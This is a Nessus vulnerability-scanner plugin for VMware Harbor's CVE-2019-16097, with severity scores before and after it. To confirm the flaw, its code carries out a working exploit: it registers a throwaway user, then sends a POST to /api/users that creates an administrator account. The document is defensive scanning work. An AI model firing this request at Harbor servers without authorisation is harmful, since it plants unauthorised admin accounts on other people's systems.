4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:S/C:N/I:P/A:N
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
0.965 High
EPSS
Percentile
99.6%
The remote VMware Harbor cloud native registry is affected by a remote privilege escalation vulnerability. Instances of VMware Harbor with DB as the authentication backend and which allow users to self-register are vulnerable. An authenticated, non-administrator, remote attacker can exploit this by sending a POST request to the ‘/api/users’ API to create a new administrator user account.
include('compat.inc');
if (description)
{
script_id(129825);
script_version("1.6");
script_cvs_date("Date: 2019/10/31 15:18:51");
script_cve_id("CVE-2019-16097");
script_name(english:"VMware Harbor Privilege Escalation (VMSA-2019-0015) (CVE-2019-16097)");
script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a privilege escalation vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote VMware Harbor cloud native registry is affected by a remote privilege escalation vulnerability. Instances of
VMware Harbor with DB as the authentication backend and which allow users to self-register are vulnerable. An
authenticated, non-administrator, remote attacker can exploit this by sending a POST request to the '/api/users' API to
create a new administrator user account.");
script_set_attribute(attribute:"see_also", value:"https://github.com/goharbor/harbor/wiki/Harbor-FAQs#cve-2019-16097");
script_set_attribute(attribute:"see_also", value:"https://www.vmware.com/security/advisories/VMSA-2019-0015.html");
script_set_attribute(attribute:"solution", value:
"Upgrade to VMware Harbor versions 1.7.6 or later, 1.8.3 or later, or 1.9.0 or later, or apply the workaround in the
vendor advisory.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N");
script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-16097");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2019/09/08");
script_set_attribute(attribute:"patch_publication_date", value:"2019/09/18");
script_set_attribute(attribute:"plugin_publication_date", value:"2019/10/11");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:goharbor:harbor:");
script_end_attributes();
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family(english:"Misc.");
script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_require_ports("Services/www", 80, 443);
exit(0);
}
include('audit.inc');
include('global_settings.inc');
include('install_func.inc');
include('misc_func.inc');
include('http.inc');
include('spad_log_func.inc');
##
# Creates a harbor user using the users API
#
# @param admin True if an admin user should be created, otherwise false
#
# @return request The request sent to create the user
##
function create_user(admin) {
if (admin)
{
var username = admin_user;
var current_username = non_admin_user;
var has_admin_role = 'true';
}
else
{
username = non_admin_user;
has_admin_role = 'false';
}
var email = username + '@tenable.com';
var postdata = '{ "user_id": 0, "username": "' + username +'", "email": "' + email
+ '", "password": "' + passwd + '", "realname": "Nessus", "comment": "Nessus test",'
+ '"deleted": true, "role_name": "Nessus", "role_id": 0, "has_admin_role": ' + has_admin_role + ', '
+ '"reset_uuid": "string", "Salt": "string"}';
var post_response;
if (admin)
post_response = http_send_recv3(
port : port,
method : 'POST',
item : '/api/users',
data : postdata,
content_type : 'application/json',
username : current_username,
password : passwd,
exit_on_fail : FALSE
);
else
post_response = http_send_recv3(
port : port,
method : 'POST',
item : '/api/users',
data : postdata,
content_type : 'application/json',
exit_on_fail : FALSE
);
var request = http_last_sent_request();
spad_log(message:'Attempted to create a Harbor user with:\n' + request);
spad_log(message:'The response status was:\n' + post_response[0]);
if (empty_or_null(post_response[0]) || '201 Created' >!< post_response[0])
audit(AUDIT_LISTEN_NOT_VULN, app_name, port);
return request;
}
##
# Check the current user using tthe users/current API
#
# @return request The request sent to check the current user
##
function get_current_user()
{
var get_response = http_send_recv3(
port : port,
method : 'GET',
item : '/api/users/current',
content_type : 'application/json',
username : admin_user,
password : passwd,
exit_on_fail : FALSE
);
var request = http_last_sent_request();
spad_log(message:'Attempted to get the admin user with:\n' + request);
spad_log(message:'The response status was:\n' + get_response[0]);
spad_log(message:'The response headers were:\n' + get_response[1]);
spad_log(message:'The response body was:\n' + get_response[2]);
if (empty_or_null(get_response[0]) || '200 OK' >!< get_response[0]
|| admin_user >!< get_response[2] || get_response[2] !~ '"has_admin_role":\\s*true')
audit(AUDIT_LISTEN_NOT_VULN, app_name, port);
return request;
}
#
# Main
#
app_name = 'VMware Harbor';
port = get_http_port(default:80);
# Generate a random, non-admin username that shouldn't exist already
non_admin_user = 'notadmin' + rand_str(length:8, charset:'0123456789ABCDEF');
# Generate a random, admin username that shouldn't exist already
admin_user = 'admin' + rand_str(length:8, charset:'0123456789ABCDEF');
# Generate an acceptable password for these users
passwd = 'Aa1' + rand_str(length:8, charset:'0123456789ABCDEF');
# Create the non-admin user
non_admin_request = create_user(admin:false);
# Create the admin user
admin_request = create_user(admin:true);
# Check if we were successful in creating an admin user
get_current_user_request = get_current_user();
security_report_v4(
port: port,
severity: SECURITY_WARNING,
generic: TRUE,
request: make_list(admin_request),
rep_extra: 'Prior to this, a non-admin account was created using the following request:\n' + non_admin_request
+ '\n\nNessus confirmed the presence of the newly created admin user with the following request:\n' + get_current_user_request
);
4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:S/C:N/I:P/A:N
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
0.965 High
EPSS
Percentile
99.6%